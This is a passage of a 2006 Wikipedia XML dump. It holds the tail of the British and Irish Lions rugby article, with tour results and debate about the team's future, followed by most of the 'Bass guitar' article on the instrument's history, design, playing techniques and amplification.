|[[Ronald Cove-Smith]] - England
|
|Lost
|0-3 (with 1 draw)
|-
|1927
|[[1927 British Lions tour to Argentina|Argentina]]
|[[David MacMyn]] - Scotland
|
|Won
|4-0
|-
|1930
|[[1930 British Lions tour to New Zealand and Australia|New Zealand&lt;br/&gt; &amp; Australia]]
|[[Doug Prentice]]- England
|
|Lost
Lost
|3-1 (New Zealand)
0-1 (Australia)
|-
|1936
|[[1936 British Lions tour to Argentina|Argentina]]
|[[Bernard Gadney]] - England
|
|Won
|1-0
|-
|1938
|[[1938 British Lions tour to South Africa|South Africa]]
|[[Sam Walker]] - Ireland
|
|Lost
|1-2
|}


===List of post-war Lions tours===

The following table lists all Lions tours since [[World War II]]:
{|class=&quot;wikitable&quot;
!Year
!To
!Captain
!Head coach
!Result
!Score
|-
|1950
| [[1950 British Lions tour to New Zealand and Australia|New Zealand&lt;br/&gt; &amp; Australia]]
|[[Karl Mullen]] - Ireland
|
|Lost
Won
|0-3 (New&amp;nbsp;Zealand&amp;nbsp;-&amp;nbsp;with&amp;nbsp;1&amp;nbsp;draw)
2-0 (Australia)
|-
|1955
|[[1955 British Lions tour to South Africa|South Africa]]
|[[Robin Thompson]] - Ireland
|
|Draw
|2-2
|-
|1959
|[[1959 British Lions tour to Australia and New Zealand|Australia&lt;br/&gt; &amp; New Zealand]]
|[[Ronnie Dawson]] - Ireland
|
|Won
Lost
|2-0 (Australia)
1-3 (New Zealand)
|-
|1962
| [[1962 British Lions tour to South Africa|South Africa]]
|[[Arthur Smith (rugby player)|Arthur Smith]] - Scotland
|
|Lost
|0-3 (with 1 draw)
|-
|1966
|[[1968 British Lions tour to Australia, New Zealand and Canada|Australia,&lt;br/&gt; New Zealand&lt;BR/&gt; &amp; Canada]]
|[[Mike Campbell-Lamerton]] - Scotland
|
|Won
Lost
|2-0 (Australia)
0-4 (New Zealand)
|-
|1968
| [[1968 British Lions tour to South Africa|South Africa]]
|[[Tom Kiernan]] - Ireland
|
|Lost
|0-3 (with 1 draw)
|-
|1971
| [[1971 British Lions tour to New Zealand|New Zealand]]
|[[John Dawes]] - Wales
|[[Carwyn James]] - Wales
|Won
|2-1 (with 1 draw)
|-
|1974
|[[1974 British Lions tour to South Africa|South Africa]]
|[[Willie John McBride]] - Ireland
|[[Syd Millar]] - Ireland
|Won
|3-0 (with 1 draw)
|-
|1977
| [[1977 British Lions tour to New Zealand|New Zealand]]
|[[Phil Bennett]] - Wales
|[[John Dawes]] - Wales
|Lost
|1-3
|-
|1980
|[[1980 British Lions tour to South Africa|South Africa]]
|[[Bill Beaumont]] - England
|[[Noel Murphy]] - Ireland
|Lost
|1-3
|-
|1983
|[[1983 British Lions tour to New Zealand|New Zealand]]
|[[Ciaran Fitzgerald]] - Ireland
|[[Jim Telfer]] - Scotland
|Lost
|0-4
|-
|1989
|[[1989 British Lions tour to Australia |Australia]]
|[[Finlay Calder]]- Scotland
|[[Ian McGeechan]] - Scotland
|Won
|2-1
|-
|1993
|[[1993 British Lions tour to New Zealand|New Zealand]]
|[[Gavin Hastings]] - Scotland
|[[Ian McGeechan]] - Scotland
|Lost
|1-2
|-
|1997
|[[1997 British Lions tour to South Africa|South Africa]]
|[[Martin Johnson]] - England
|[[Ian McGeechan]] - Scotland
|Won
|2-1
|-
|2001
|[[2001 British Lions tour to Australia|Australia]]
|[[Martin Johnson]] - England
|[[Graham Henry]] - New Zealand
|Lost
|1-2
|-
|2005
|[[2005 British and Irish Lions tour to New Zealand|New Zealand]]
|[[Brian O'Driscoll]] - Ireland
|[[Clive Woodward|Sir Clive Woodward]] - England
|Lost
|0-3
|}

==Future of the Lions ==

In the past British and Irish rugby-union players have considered playing for the Lions a high [[honour]] in the game - for many higher even than playing for their national side. Those who play against the Lions have also regarded it as a huge occasion. However, some players, the media and some administrators have increasingly raised questions about the future of the Lions following the team's poor showing in their last two tours, getting outplayed, firstly on the [[2001 British and Irish Lions tour to Australia|2001 tour]] to Australia, and then on the [[2005 British and Irish Lions tour to New Zealand|2005 tour]] to New Zealand. Some see the Lions as an [[anachronism]] in the highly professional world of modern international rugby union. Others see the Lions as representing a great rugby union tradition and will fight hard to preserve the team's traditions (such as the awarding of official caps for Lions matches). Some rugby union supporters would like to see the Lions retained as a touring side but to have the status of the team made more analogous with other scratch rugby union sides like the [[Barbarian F.C. |Barbarians]] - playing for the joy of rugby union rather than having any pretensions to international status.

The number of players each union sends to the Lions often becomes a matter of great controversy. The 2005 squad came under fire from the Scottish media, because of the perceived under-representation of Scots on the side, who comprised three men out of an initial squad of forty four potential players. Similar controversies arose in Wales and Ireland. This has led to questions as to whether the team  should have set proportions representing each of the four nations, or merely a selection of the four taken as a whole.

==External links==
'''Official'''
* [http://www.lionsrugby.com/ Lions website]
* [http://www.rugbystore.co.nz/british-lions.html Lions tour schedule]
'''News and resources'''
* [http://www.lions-tour.com/ Lions 2005 tour website]
* [http://www.britishlions.com/ Fan site]
* [http://www.sardisroad.freeserve.co.uk/lions_1974_3.htm The battle of Boet Erasmus] [[Sunday Times]] [[May 20]] [[2001]]
* [http://www.sportnetwork.net/boards/list/s245?f=764 Lions Den Message Board]
* [http://www.planet-rugby.com/Tournaments/British_Irish_Lions/index.shtml British and Irish Lions news from Planet Rugby]

[[Category:British and Irish Lions]]
[[Category:international rugby union teams]]

[[fr:Équipe des Lions britanniques et irlandais de rugby à XV]]
[[mi:Kapa Raiana]]
[[nl:British and Irish Lions]]</text>
    </revision>
  </page>
  <page>
    <title>Bass guitar</title>
    <id>3916</id>
    <revision>
      <id>41860212</id>
      <timestamp>2006-03-02T05:01:49Z</timestamp>
      <contributor>
        <username>Elkman</username>
        <id>346341</id>
      </contributor>
      <comment>Revert to revision 41542264 using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">[[Image:Jazz bass photo.jpg|thumb|Bass guitars typically have four strings instead of six as found on regular guitars. Pictured is a [[Fender]] [[Jazz Bass]].]]
A '''bass guitar''' (also called an '''electric bass''', '''electric bass guitar''', or simply a '''bass''') is an electric [[string instrument]] similar in appearance to the [[guitar]], but with a larger body, commonly four strings, a longer [[scale]] neck and tuned an octave lower in [[Pitch (music)|pitch]] than a guitar. There are also [[acoustic bass guitar]]s.

== Overview ==
The instrument is a variant of the [[electric guitar]], and is used to play the low notes in many types of music. Since the 1950s it has largely replaced the [[double bass]] in popular music, no doubt because the electric bass is easier to amplify, record, and transport than its predecessor. Nonetheless, the [[double bass]] is still used in some types of music such as jazz, [[bluegrass]], rockabilly, traditional blues and classical music of course. Electric basses may be fretted or fretless, although fretted basses are far more common in most popular music settings. Fretless basses, which produce a distinctive and expressive tone, are more common in jazz-fusion music.

The first electric basses had four strings (tuned E-A-D-G, from lowest to highest), a form that is still prevalent several decades later. However, in the 1980s and 1990s, as performers sought to expand the range of their instruments, electric basses with five, six, or even seven strings became widely available. Five-string basses typically have a low &quot;B&quot; string, and six-string basses usually have both a low &quot;B&quot; string and a high &quot;C&quot; string. Other variations on the four string bass are eight string  (with four sets of two strings; one tuned to the root note and one an octave higher) and twelve string (with four sets of three strings; one tuned to the root and two tuned an octave above).

The electric bass, in contrast to the upright bass (or double bass), is played in a similar position to the guitar, held horizontally across the body.  Notes are usually produced by plucking with the fingers or with a [[plectrum]] (pick). In the 1970s and 1980s, another style of playing called &quot;slapping&quot; became prominent in funk and some genres of pop music. In this style of playing, the performer slaps the low strings with the thumb and &quot;pops&quot; the high strings with the fingers, creating a percussive effect that is often considered to be imitative of the role played by a drummer.
 
The vibrations of the instrument's metal strings within the magnetic field of the permanent magnets in the pickups ([[Pickup (music)|pickup]]s), produce small variations in the magnetic flux threading the coils of the pickups. This in turn produces small electrical voltages in the coils. These low-level signals are then amplified and played through a speaker. A less common variant of pickup uses one or more [[piezoelectric]] elements usually in the bridge assembly directly to sense the mechanical vibrations of the strings. 

Different equipment is used to amplify the electric bass, depending on the musical setting. For rehearsals, recording sessions, or small clubs, electric bass players will typically use a &quot;combo&quot; amplifier, so-named because it combines an amplifier and a speaker in a single cabinet. Combo amplifiers usually have a modestly-powered amplifer (50 to 200 watts) and a single speaker. For larger venues, electric bass players will often use a more powerful amplifier (300 to 1000 watts) and separate speaker cabinets in various combinations. 

Various electronic components such as preamplifiers and signal processors, and the configuration of the amplifier and speaker, can be used to alter the basic sound of the instrument. In the 1990s and early 2000s, signal processors such as equalizers, distortion devices, and compressors or limiters became increasingly popular additions to many electric bass players' gear, because these processors give players additional tonal options.

The electric bass is the standard bass instrument in many [[musical genre]]s, including modern [[Country music|country]], post-1970s-style [[jazz]], many variants of [[rock and roll]], metal, punk, reggae, [[Soul_music|soul]], and [[funk]]. Even though the double bass is still the standard bass instrument in orchestral settings, some late-20th-century composers have used the electric bass in an orchestral setting.

== Etymology ==
There is much debate among musicians and fans of the instrument about what to call the instrument. While &quot;bass guitar&quot; (pronounced &quot;base&quot;) is, generally speaking, a more common term among non-musicians, others prefer &quot;electric bass guitar,&quot; &quot;electric bass,&quot; or simply &quot;bass.&quot; Many are happy to use the terms interchangeably but some express a strong preference for one or other of them.

[[Fender]]'s early dominance in the market for mass produced bass guitars led to the widespread use of the term &quot;Fender bass&quot; to describe the instrument. After the prominent bassist [[Carol Kaye]] published her popular bass instructional book in 1969, entitled ''How To Play The Electric Bass'', musicians's unions in the United States followed suit, changing the name from Fender Bass to &quot;Electric Bass&quot; in their directories.  Additionally, with the plethora of alternative manufacturers producing similar instruments, the term &quot;Fender bass&quot; has largely fallen out of use.

Modern bass playing draws on both guitar and double bass for inspiration as well as an increasing [[vernacular]] of its own.

== History ==
The necessity for a louder individual bass instrument can be traced back to the 1920s jazz scene. Classical orchestras get a loud bass sound by using four to eight double bass players playing the same part simultaneously. However, in the 1920s when jazz groups began to use an individual double bass in small [[jazz]] combos to accompany [[banjo|banjos]], [[brass instrument|brass]] and [[woodwind]] sections, [[piano|pianos]], and [[drum|drums]], it was hard for double bass players' unamplified instruments to be heard (in the 1920s, portable amplifiers designed for low-frequency instruments were not yet widely commercially available). An additional factor that may have spurred a search for an alternative instrument may have been the fact that double basses are large and awkward to transport.
 
In the 1920s and early 1930s, several early prototypes of electric double basses were developed. Even though these instruments had electric pickups, they were still variants of the double bass, because they were unfretted and played vertically. The Audiovox Manufacturing Company in [[Seattle, Washington]] had an upright solidbody electric bass on the market by February 1935, designed by Paul Tutmarc, a musician, instrument maker, and amplifier designer. 

Subsequently, Paul Tutmarc developed a guitar-style electric bass instrument that was fretted and designed to be held and played horizontally. Audiovox's sales catalogue of 1935-6 listed what is probably the world’s first fretted, solid body electric bass that is designed to be played horizontally - the Model #736 Electric Bass Fiddle. The change to a &quot;guitar&quot; form  made the instrument easier to hold and transport; the addition of guitar-style frets enabled bassists to play in tune more easily (which also made the new electric bass easier to learn). 

The first mass-produced electric bass was developed by innovator and manufacturer [[Leo Fender]] in the early 1950s. Fender trained as an [[accountant]] and was a self-taught electrical engineer who started repairing radios and built public address (P.A.) systems before getting into the electronics and amplification of electric instruments. Ironically, Leo Fender could not even play guitar or bass: by his own admission, &quot;not a note.&quot;

The [[Fender Precision Bass]] was first offered in 1951. Named for the exact intonation a player could achieve with its fretted neck, the Precision Bass was equipped with a single piece, four-pole pickup, and a simple, uncontoured 'slab' body design. In 1954 the body was contoured with beveled edges for comfort. In 1957, the pickup was changed to a single &quot;split pickup&quot; (staggered) design. The pickguard also underwent a radical change, as did the headstock.

This 1957 design has remained as the standard electric bass, and is still widely available. Another industry standard, the similar, but more highly-engineered [[Jazz Bass|Fender Jazz Bass]], was introduced in 1960.  These designs have become so ubiquitous that pickups based on the ones found on the Precision and Jazz basses are often referred to as &quot;P&quot; or &quot;J&quot;, respectively. (Fender also produced a six-string bass, the [[Fender VI]], in the 1960s, although it was tuned higher than a modern six-string bass.)

Following Fender's lead, other companies such as [[Gibson Guitar Corporation|Gibson]], [[Danelectro]], and many others started to produce their own version of the electric bass.  Some, like the Rickenbacker 4000 series, became identified with a particular style of music.  [[Rickenbacker]]s were pioneered by [[Paul McCartney]], [[John Entwistle]], [[Chris Squire]], [[Geddy Lee]], and other [[progressive rock]] bassists.  

In 1971 [[Alembic Inc|Alembic]] established the template for what would subsequently be known as &quot;high end&quot; electric bass. Key design elements included active electronics, premium woods, and multi-laminate neck-through-body construction. Other innovations by Alembic included the world’s first graphite neck bass and one of the early production 5-string bass with a low &quot;B&quot; string, both in 1976. Another manufacturer, Fodera, also began producing an electric bass with a low &quot;B&quot; string in the mid-1970s. In collaboration with the highly-respected bassist [[Anthony Jackson]], Fodera developed a new six-string electric bass.

Early uses of the electric bass saw bassists doubling the double bass part or replacing the upright bass entirely with their new, more portable and easily amplified instrument. By the 1960s, the electric bass had replaced the upright bass in most forms of popular music-although country music and jazz were an exception to this trend. The switch to electric bass moved bassists more into the foreground of a band, in two senses. From an aural perspective, electric bass tone can often &quot;cut through&quot; a live mix better. As well, electric basses can be amplified to very high levels without the problem of feedback &quot;howls&quot; that can plague upright bass players trying to amplify their instruments. From a visual point of view, the switch to the electric bass allowed bassists much more freedom of movement on stage. The double bass sits on an endpin, and stands vertically, and players typically play in a single location for the duration of a song. However, the electric bass is smaller, and is held up with a strap, which allows the electric bassist to move about on the stage while playing, and get closer to other musicians or the audience.

The upright bass began making a modest comeback in popular music in the mid-1980s, in part due to a renewed interest in earlier forms of rock and country music. The rockabilly revival led by the chart-topping Stray Cats made upright basses &quot;hip&quot; again. In the 1990s, improvements in pickups and amplifier designs for electro-acoustic horizontal and upright basses made it easier for bassists to get a good, clear amplified tone from an acoustic instrument. Popular bands such as the Canadian group Barenaked Ladies decided to anchor their sound with an upright bass instead of an electric bass. A trend for &quot;[[MTV Unplugged|unplugged]]&quot; performances further helped to enhance the public's interest in the upright bass and [[acoustic bass guitar]]s. Even in the early 2000s, the upright bass continued its comeback, with punk/&quot;[[psychobilly ]]&quot; groups such as [[Tiger Army ]], [[The Living End]] and the HellRazors using the upright bass.

Innovations and refinements to electric bass equipment continue through to the present day.

== Design considerations ==
The distinctive 4-string Fender Precision bass or copies by other manufacturers remains the most popular choice in many styles of music. Major musical groups from the 1950s to today in genres varying from blues to punk continue to use the iconic Fender-style bass. In some genres, such as traditional blues or country, departing from this de facto standard is uncommon.

However, in many musical settings, musicians have embraced the wide variety of different electric bass designs, which include a huge variety of options for the body, neck, pickups, and other features. Musicians have become open minded towards the new technologies and approaches to musical instrument design that have developed for the electric bass. As well, instruments handmade by highly-skilled masters of the craft of [[lutherie]] (guitar-making) are becoming an increasingly popular choice for professional and highly-skilled amateur bassists. These developments have given the modern bass player a wide range of choices when choosing an instrument. Design options include:

=== Body ===
Bodies are typically made of wood although other materials such as [[graphite]] (for example, some of the [[Steinberger]] designs) have also been used. A wide variety of woods are suitable - the most common include [[alder]], [[mahogany]] and [[ash_tree|ash]]. The choice of body material and shape can have a significant impact on the [[timbre]] of the completed instrument as well as [[aesthetic]] considerations. Other design considerations include:

* A wide range of colored or clear lacquer, wax and oil finishes exploiting the amazing variety of natural wood forms
* Various flat and carved industrial designs for different types of both traditional and exotic woods, large percentage of [[luthier]]-produced unique instruments (affecting weight, balance and aesthetics)
* Headed and headless (with tuning done at the bridge) designs
* Several artificial materials developed especially for instrument building, most notable being [[luthite]]
* Unique production techniques for artificial materials, including die-casting for cost-effective complex body shapes

One further variable is the solidity of the body. Most basses have solid bodies but variations include chambers for increased resonance or to reduce weight. Basses are also built with entirely hollow bodies. Many of these have enough volume for unamplified performance in a small venue. Hollow-bodied basses are discussed in more detail in the article on [[acoustic bass guitar]]s.

=== Number of strings (and tuning)===
[[ Image:Notesonbass.jpg|thumb|550px|Note positions on a right-handed 4-string bass]]
The standard design electric bass has four strings, tuned E, A, D, G (with the fundamental frequency of the E string set at 41.3 Hz, the same as the lowest string on the double bass). Modern variants include: 
* Five strings (normally B, E, A, D, G but sometimes E, A, D, G, C) 
* Six strings (B, E, A, D, G, C or B, E, A, D, G, B—although E, A, D, G, B, E has also been used). Six string basses are not very popular, but some noted bass players do use them, such as [[New Order]]'s [[Peter Hook]] and [[Dream Theater]]'s [[John Myung]]. Basses with seven, eight, nine, ten, eleven and even twelve (untripled) strings are also available (see also [[extended-range bass]]).
* Double and triple courses of strings (e.g., an 8-string bass would be strung Ee, Aa, Dd, Gg, while a 12-string bass might be tuned Eee Aaa Ddd Ggg, with standard pitch strings augmented by two strings an octave higher), which are found in 8-, 10-, and 12-string varieties (doubled versions of 4, 5, and 6 string basses)
* Tenor bass: A, D, G, C 
* Piccolo bass: e, a, d, g (an octave higher than standard bass tuning—-the same as the bottom four strings of a guitar)
* Sub contra bass : C#, F#, B, E (C# being at 18 Hz and the E string being the same as the E string found on standard basses)
* [[Detuner]]s, commonly called [[Hipshot]]s, allow one or more strings to be easily adjusted while playing (most commonly used to give the option of dropping the E string down to D on a four string bass). This type of tuning peg is descended from the [[Scruggs peg]], used on [[banjo]]s.

=== Pickups ===
[[Image:Bassguitarpickups.jpg|thumb|250px|&quot;P&quot;-style split pickups]]
The earliest basses had a single coil, but later split coil magnetic pickup. Modern choices include:
* Active or passive electronics (active circuits use a battery (usually a 9V PP3) to boost the signal and/or provide active equalization) 
* Magnetic pickup type (single coil, split coil, dual coil &quot;humbucker&quot;, triple coil &quot;humbucker&quot;) 
Pickup type: 
* &quot;P-&quot; pickups (name taken from the original Fender Precision) are actually two distinct single-coil halves, wired in opposite direction to reduce hum, each offset a small amount along the length of the body so that each half is underneath two strings. 
* &quot;J-&quot; pickups (name taken from the original Fender Jazz) are wider single-coil pickups which lie underneath all four strings. 
* Soapbar pickups, found, for example, in MusicMan basses, are the same height as a J pickup, but about twice as wide (much like an electric guitar's humbucker). The name comes from the rectangular shape being similar to a bar of soap. 
* Non-magnetic systems, eg. piezoelectric pickups or the innovative new optical systems (by Lightwave Systems) allowing the bassist to use non-metallic strings. Piezoelectric pickups sense the vibrations of the string, as transmitted to the pickup through the basses' wooden body. Since piezoelectric pickups are based on the vibration of the strings and body, they can be prone to feedback &quot;howls&quot; when used with an amplifier, especially when higher levels of amplification are used. Optical pickups are expensive and  rarely used, apart from a small number of professional bass players who require the advantages offered by optical pickups: no noise (e.g., hum) or feedback problems, even at high levels of amplification. 
* Pickup configuration. Many inexpensive basses (as well as older/vintage basses) have just one pickup (typically a &quot;P&quot; or &quot;J&quot;), but multiple pickups are also quite common, the two most common configurations being a P near the neck and a J near the bridge (e.g. Fender Precision Deluxe), or two J pickups (e.g. Fender Jazz). For single pickup systems, the placement of the pickup greatly affects the sound, with a pickup near the neck joint thought to sound &quot;fatter&quot; or &quot;warmer&quot; while a pickup near the bridge is thought to sound &quot;tighter&quot; or &quot;sharper.&quot; Some basses use more bizzare pickup configurations, such as a Humbucker and P pickup (found on some Fenders), [[Stu Hamm]]'s &quot;Urge&quot; basses, which have a P pickup sandwidched between two J pickups, and some of [[Bootsy Collins]]' custom basses, which had as many as 5 J pickups. 

=== Frets ===
The majority of basses use [[fret]]s to break the fingerboard into [[semitone]] divisions, although [[fretless bass]]es are also widely available. The original Fender basses had 20 frets but some modern basses have 24 or more frets covering a range of two or more [[octave]]s per string.

There are also further variations on the theme of frets. Some fretted basses feature a &quot;zero fret&quot; on the fingerboard just in front of the nut, which is alleged to offer tonal and setup advantages.  Some fretted basses have scalloped fret boards for easier string bending.

In addition to frets, many basses have further markers inlaid into the neck as a guide to position. A typical arrangement would be single dots below the 3rd, 5th, 7th and 9th frets and double dots at the 12th fret, all repeated at the equivalent positions an octave higher. However, there are many variations, including decorative shapes, large blocks and small dots on the side of the neck.

However, not all electric basses are Fretted. Fretless basses are known for the smoothness of [[glissando]] and similarity in tone to the double bass, but require precise fingering.  [[Jaco Pastorius]] was one of the players to bring the fretless bass into the spotlight, having created the instrument (which was at that time unavailable on the market) himself by physically pulling the frets out of a fretted bass and then filling in the grooves in the neck with plastic wood and coating it with marine [[epoxy]].  This procedure is still utilized by some players who wish to convert their fretted bass to a fretless one. Some fretless basses have 'fret lines' inlaid in the fingerboard either because they have been converted from fretted necks  (see above) or as a guide for players trained on fretted basses. Fretless basses are mainly used in jazz, jazz-fusion, and funk music, but they are used by some players in other genres as well. For example, noted [[thrash metal]]/[[death metal]] bassist [[Steve DiGiorgio]] is well known for his use of fretless bass. While use of fretless basses has grown, fretted basses remain the common choice, although some bassists own and use both types of instrument depending on the song.

Occasionally, strings wound with [[tape wound|tape]]  or coated in epoxy are used on the fretless bass to avoid the metal strings wearing down the wooden [[fingerboard]].

== Playing styles ==

=== Sitting or standing ===
Most bass players stand while playing, although sitting is also accepted, particularly in jazz band, orchestral, or other large ensemble settings. It is a matter of the player's preference as to which position gives the greatest ease of playing, and what a bandleader expects. When sitting, the instrument can be balanced on the right thigh, or like classical guitar players, the left.  Balancing the bass on the left thigh positions it in such a way that it mimicks the standing position, allowing for less difference between the standing and sitting positions.

=== Plectra vs. fingers or thumb ===
Most bassists prefer to pluck the instrument's strings with the fingers but some also use [[plectrum|plectra]] (often called picks). Picks also come in many shapes, sizes and thickness. This often varies according to the [[musical genre]]&amp;mdash;very few [[funk]] bassists use plectrums, while they are widely found in [[punk rock]] and metal styles. Using a [[plectrum]] typically gives the bass a brighter, more punchy sound, while playing with fingers makes the sound more soft and round.  Some bassists use their fingernails flamenco-style to provide some compromise between playing fingerstyle and using a pick. Bassists trying to emulate the sound of a double bass will often pluck the strings with their thumb, and use their fingers to anchor  their hand and partially mute the strings (partially muting the strings creates a short, &quot;thumpy&quot; tone for the notes which mimics the sound of an upright bass).

[[James Jamerson]], one of the most influential bassists during the [[Motown]] era, was well-known for his work in many popular [[Motown]] songs and is widely considered one of the greatest, most musical bassists of all time.  Jamerson played the bass with only his index finger (which gained him the nickname &quot;The Hook&quot;) but created intricate bass lines that have proven challenging even for modern bassists using the more commonly used two-fingered (typically index and middle) technique.

=== Right hand support and position ===
Variations in style also occur in where a bassist rests his right-hand thumb. A player may rest his thumb on the top edge of one of the pickups. One may also rest his thumb on the side of the fretboard, which is especially common among bassist who have an upright bass influence. Also, bassists may simply anchor their thumbs on the lowest string (and move it off to play on the low string).  This technique is known as the &quot;floating thumb&quot;, and was previously popular mainly with bassists who played 5 or more string basses, but is now common for all bassists. By resting their thumb to anchor their hand while they use their index and middle fingers, bassists create a fuller and louder sound. Early Fender models also came with a &quot;[[thumbrest]]&quot; attached to the pickguard, below the strings.  Contrary to its name, this was not used to rest the thumb, but to rest the fingers while using the thumb to pluck the strings.  The thumbrest was moved above the strings in 70's models, and eliminated entirely in the 80's.

=== Striking or plucking position ===
Bassists also have different preferences as to where on the string they pluck the notes. While the influential bassist [[Jaco Pastorius]] and many with him preferred to pluck them very close to the bridge for a bright and sharp sound, many prefer the rounder sound they get by plucking closer to the neck, mostly near the neck pickup. [[Geezer Butler]], among others, plucks the strings over the higher frets.

=== &quot;Slap and pop&quot; and related techniques  ===
The famous [[slap and pop]] method, in which notes and percussive sounds are created by slapping the string with the thumb and releasing strings with a snap, was pioneered by [[Larry Graham]] of [[Sly and the Family Stone]] in the 1960s and early 1970s. In the 1970s [[Stanley Clarke]] developed Graham's technique further, adding the popping and speed that are a hallmark of contemporary playing. Another notable player of this style emerged in the 1980s in the form of [[Mark King]] of British group [[Level 42]]. Today, [[Michael Balzary|Flea]] of [[Red Hot Chili Peppers]] exemplifies slap and pop with a foundation in [[funk]], and [[Les Claypool]] of [[Primus (band)|Primus]] is known for playing extremely complex slap and pop basslines. In the late 1980s, fusion bass virtuoso [[Victor Wooten]] of [[Béla Fleck and the Flecktones]] developed the so-called &quot;double slap,&quot; in which the string is slapped twice for each downstroke, rather than once. This technique allows for incredible speed and can be heard on tracks such as Wooten's famous &quot;[[Classical Thump]].&quot;

An even more recent development is the two-handed tapping style, where both hands play notes by tapping the string to the fret. This makes it possible to play [[counterpoint|contrapuntally]], or to play complicated chords and arpeggios. Since this gives the bass a wide audio spectral range and a brighter sound, it is mostly used by bass players who act as the lead in their music. Notable examples are [[Stuart Hamm]], whose music is [[Heavy metal music|metal]]-oriented, as well as Victor Wooten and [[Michael Manring]], who have a more [[jazz]]y/[[new age]] style. A more extreme version of this technique is used to play the [[Chapman Stick]] and [[Warr Guitar]], many-stringed instruments sometimes used in place of basses which are made to be played through tapping.

[[Tony Levin]], the longtime bassist for [[King Crimson]] and [[Peter Gabriel]], pioneered the use of two wooden dowels (called &quot;funk fingers&quot;), which are affixed with [[velcro]] to the index and middle finger of the right hand and used to strike the strings of the bass, producing a percussive attack and [[timbre]] similar to the &quot;slap and pop&quot;.

== Amplification and effects ==
An electric bass must be amplified to be audible in a live setting. The choice of amplification will have a significant impact on the bassist's overall sound.

[[Image:Bassstack.jpg|thumb|500px|2 x 10&quot; stacked on top of a 15&quot; cabinet, with separate head unit]]

Bass amplifiers may be categorised as either:
* combo units - the amplifier and speaker combined in a single unit; or
* head and speaker (or &quot;cabinet&quot;) - amplifier and speaker are separate.

Head units may, in turn, be either:
* integrated units, in which the preamplifier and power amplifier are combined in a single unit; or
* separate pre/power setups, in which one or more preamplifiers are used to drive one or more power amplifiers.

Amplifiers may be based on [[solid state]] (transistor) or [[thermionic]] (&quot;tube&quot; or &quot;valve&quot;) technology. Tube amps are generally regarded as giving a warmer, more natural sound while solid state amps are lighter and lower maintenance, but this is an area of much debate. A common setup is the use of a tube preamplifier with a solid state power amplifier. There are also an increasing range of products that use digital modelling technology to simulate many different combinations of amp and cabinet choices.

=== Loudspeakers ===
The requirement to reproduce low frequencies at high [[Sound_pressure_level|sound pressure levels]] means that most [[loudspeaker]]s used for bass guitar amplification are designed around large diameter drivers, with 10&quot;, 12&quot; and 15&quot; being most common. Some speakers are 18&quot; or larger, while there are also commercially available systems using drivers of 8&quot; or smaller. As a general rule of thumb, performers desiring a &quot;heavier&quot; or &quot;thicker&quot; bass tone (e.g., punk, metal, or hard rock bassists) prefer the larger speakers, while performers wanting a more articulate tone (e.g. jazz or fusion bassists) tend to prefer the quicker-responding, smaller speakers. 

The speakers are built into speaker cabinets, which contain one or more drivers. The sound of these cabinets is influenced not only by the choice of driver but also their construction.  Bass speaker cabinets are either sealed or ported with openings designed to elicit a specific frequency response. Speaker cabinets are largely designed around a single type of driver (common examples are 1X10&quot; ,1x12&quot;, 1x15&quot; and 2x10&quot; or 4x10&quot;). Many players stack two (or more) cabinets containing different size drivers to obtain a particular sound. Players with five- or six-string basses who perform in louder, heavier styles of music sometimes add a 1X18&quot; cabinet to reproduce the lowest notes.

It is also increasingly common for high frequency &quot;[[tweeter|tweeters]]&quot; or horns to be included in speaker cabinets. These extended range designs were initially developed in the late 1970s in response to the better quality pickups and electronics being built by Alembic and other high-end manufacturers and to better reproduce the more percussive bass playing styles that were becoming popular at the time. One problem with adding a horn to a speaker cabinet is that the horn may be damaged by distorted &quot;grungy&quot; bass tone from an overdriven amplifier.  Horns and speakers in the same cabinet are sometimes wired separately, so that they can be driven by separate amplifiers. Biamplified systems and separately-wired cabinets produced by manufacturers such as Gallien-Krueger allow bassists to send an overdriven sound to the speaker, and a crisp high sound to the horn, which prevents this problem. 

Surveying the sites of the manufacturers mentioned below will give a good indication of the range of speaker cabinets currently available.

=== Amplification manufacturers ===
The 18 watt 1 x 12&quot; Michael-Bell Bassamp, a closed-back amp designed specifically for upright bass, kicked off the modern era of bass amplification in the late 1940's. The upright basses were fitted with an Ampeg (short for &quot;amplified peg&quot;) described in the 1946 patent application as a &quot;sound amplifying means for stringed musical instruments of the violin family.&quot;

In 1949, after the Michael-Hull company break-up, the [[Ampeg|Ampeg Bassamp Company]] was founded by Everett Hull in New York. 

Other well known manufacturers of bass amplifiers or loudspeakers include: Accugroove loudpeakers, Acme loudpeakers, [[Acoustic Control Corporation|Acoustic]], [[Aguilar]], [[Alembic Inc|Alembic]] (preamps and filters), [[Crate Amplifiers|Crate]], [[Fender]], [[Gallien-Krueger]], [[Hartke]], [[SWR (amplifiers)|SWR]], [[Marshall Amplification|Marshall]], [[Orange Amplification|Orange]], [[Trace Elliot]],  [[Peavey]], [[Ashdown Engineering]], [[Ampeg]], [[Markbass]] and [[Eden Electronics]].

=== Effects ===
Due to the role the electric bass plays laying down the low-register foundation for the band, effects are less commonly used by electric bass players than by electric guitarists, where the use of effects is the norm. The so-called &quot;modulation&quot; effects, such as chorus, flanger, and phaser are used much less frequently with the electric bass than with the electric guitar. Although there has been a much smaller variety of bass-specific effects available throughout much of the history of the instrument, since the late 1990's, many bass-specific effects have become available.  Of these, preamplifiers, &quot;[[Audio_level_compression|compression]]&quot;, limiting, and equalization are the most widely-used effects for bass. 

Nonetheless, a range of other effects are used in various genres. &quot;[[Wah-wah]]&quot; and &quot;synth&quot; bass effects are associated with [[funk]] music.  As well, since the 1960's and 1970's, bands have experimented with &quot;fuzz bass&quot; where the bass is distorted either by overdriving the amp or by using a   [[distortion]] unit. Since the 1990's a heavier type of distortion with a &quot;grinding&quot; tone is used by some [[Metal_music|metal]] and punk bass players.  Although many of these effects sound similar to guitar effects, players often use specialized bass effects units, which are adapted to work with the lower frequency range of the bass. For example, typical electric guitar distortion units tend to remove the lower bass frequencies when they are used with an electric bass; bassists get much better results with a bass-specific distortion unit. For alternative and experimental bands, effects are used to create unique timbres and tones that in some cases are a radical departure from the typical electric bass tone.

== Musical role ==
